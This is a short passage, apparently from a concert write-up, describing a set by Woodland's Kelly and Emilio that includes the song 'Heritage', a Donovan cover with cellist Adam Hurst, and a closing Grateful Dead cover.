Kelly and Emilio then performed a duet of the first ever Woodland song, Heritage, followed by a a moving rendition of Donovan’s Voyage of the Moon featuring Kelly playing harp with cellist Adam Hurst, which they had performed with Donovan himself in summer of 2012 at Faerieworlds.  The set then proceeded with an array of other lyrical pieces including Cap and Bells, Thief of Sorrows, House of the Wind and The Joyful Sorrow.

Kelly and Emilio closed the set as a duet with the Hunter/Garcia composition for the Grateful Dead, Mountains of the Moon.
